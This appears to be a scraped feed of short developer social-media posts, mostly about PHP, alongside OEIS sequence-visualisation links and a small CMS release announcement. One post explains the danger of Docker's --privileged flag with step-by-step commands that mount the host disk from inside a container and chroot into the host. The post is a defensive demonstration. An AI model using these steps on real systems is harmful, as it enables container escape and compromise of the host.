My decomposition?
(r/math, new, 4d ago)
My decomposition?
(r/math, new, 4d ago)
Generation of four sequences decomposed into weight × level + jump (log(weight), log(level), log(jump)) - three.js animation:
1: The natural numbers (A000027) https://decompwlj.com/3DgraphGen/Natural_numbers.html
One day, one decomposition
A001481: Numbers that are the sum of 2 squares
3D graph, threejs - webGL https://decompwlj.com/3Dgraph/A001481.html
3D graph Gen, threejs animation https://decompwlj.com/3DgraphGen/A001481.html
2D graph, first 500 terms https://decompwlj.com/2Dgraph500terms/A001481.html
Anyone have an up-to-date web server setup guide they recommend?
Need to spin up nginx, with PHP, SQLLite (and maybe Redis). Want to ensure I'm following all modern best practices - I haven't done this in 3 or 4 years.
Preferably with Ubuntu.
Please don't tell me to use Docker
It's possible that I like working with arrays a little too much?
Moodle's plugin system is, to be kind, a little stupid.
— a note I wrote to myself, while I was upgrading Moodle, in the How to Upgrade Moodle docs today
Analyzing Code for Potential Issues, Refactoring Techniques, and Code Quality Tools (with PHP Examples). #PHP
https://levelup.gitconnected.com/analyzing-code-for-potential-issues-refactoring-techniques-and-code-quality-tools-with-php-1e4fb0417caa
Generation of four sequences decomposed into weight × level + jump (log(weight), log(level), log(jump)) - three.js animation:
1: The natural numbers (A000027) https://decompwlj.com/3DgraphGen/Natural_numbers.html
- NoDiscard attribute
- new URI API
- Pipe operator
- Closures in constant expressions
#PHP 8.5 is going to be fun
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!
ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.
Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?
Here's why (one, simple example):
Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference.
1) Start two containers.
docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu
2) Inspect /dev in the unprivileged container.
docker exec -it ubuntu-unprivileged bash
ls /dev
exit
You'll only see a limited set of devices. No disk access.
3) Now inspect /dev in the privileged container.
docker exec -it ubuntu-privileged bash
ls /dev
/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.
4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.
mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever
5) You can now enumerate - and access - the Docker host's logical volume.
ls -la /tmp/whatever
6) If you wish, you can even chroot into the host:
chroot /tmp/whatever /bin/bash
The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.
Usually the grumpy guy means well. He just doesn't know how to explain it properly.
#PHP version 8.5 change proposal for #Fedora 44 open for discussion
https://fedoraproject.org/wiki/Changes/php85
Notice: F44 because F43 is planned for October and PHP 8.5 for November
One day, one decomposition
A001463: Partial sums of A001462; also a(n) is the last occurrence of n in A001462
3D graph, threejs - webGL https://decompwlj.com/3Dgraph/A001463.html
3D graph Gen, threejs animation https://decompwlj.com/3DgraphGen/A001463.html
2D graph, first 500 terms https://decompwlj.com/2Dgraph500terms/A001463.html
thank you #kiki users for your gracious patience over the past few months
kiki v1.1.0 is now available on itch. it includes many new requested features, including preliminary support for the gopher protocol.
if you haven't heard of kiki before: it's a tiny home page construction set written to be fast and easy to modify. it's my response to 20 years of dealing with the bloated, frustrating, and exhausting world of wordpress and other heavyweight CMSes.
if you're into writing things with just a text editor, then uploading your document over ftp - then kiki is for you.
(conversely, if you're into dragging and dropping widgets in a massive javascript interface - kiki is *not* for you )
truth be told, gopher support may or may not survive the year. it's an absolutely gnarly protocol that barely deserves to be called one - there are SO many different implementations and revisions. i tried to implement only what made sense to me, and it's basic at best.
What #libre #IDE (integrated development environment for programming code) would y'all want to coalesce around using, supporting, and developing? Asking especially for coding websites and applications with #PHP, #JavaScript, #CSS, and #HTML but #Python, #Elixir, #Rust, and #Go would all be great for us @agaric too.
The @phpugmrn meetup is now on YouTube!
Catch up on our talk sessions, learn from experts, and stay updated on the latest PHP trends. Subscribe now and hit the notification bell https://www.youtube.com/@phpugmrn
More than 50% of all websites run with #PHP, but some douchebags still say "and more." Crazy...
PHP is when you spend eight hours mapping a dynamic OOP query structure into an array structure so that an external library can read it. However, today, PHPStan 1.12.28 required me to specify the array value EXACTLY. Yet it doesn't support the necessary circular dependencies by its `@phpstan-type`...
This is why I sometimes need a three-week vacation from PHP; otherwise, I'll burn out.
What remains? Delete all type definitions, and then exclude each resulting phpstan error individually. Awesome! More wasted time!
And of course some after-work Golang to keep me sane.
I don't understand why this is enforced in symfony/validator. It means I can't have a base class with a `final public static` method on it that I use as a common validator for all models. I have to define the static method on every model.
Custom Controllers: Nuclear option for completely different workflows
while keeping shared business logic Pattern works across languages - #Go #Rust #PHP all support interface-based customization
Real result: Security patches deploy in hours not weeks, features built once serve all customers
https://www.eloquentarchitecture.com/custom-tenant-code-nightmare/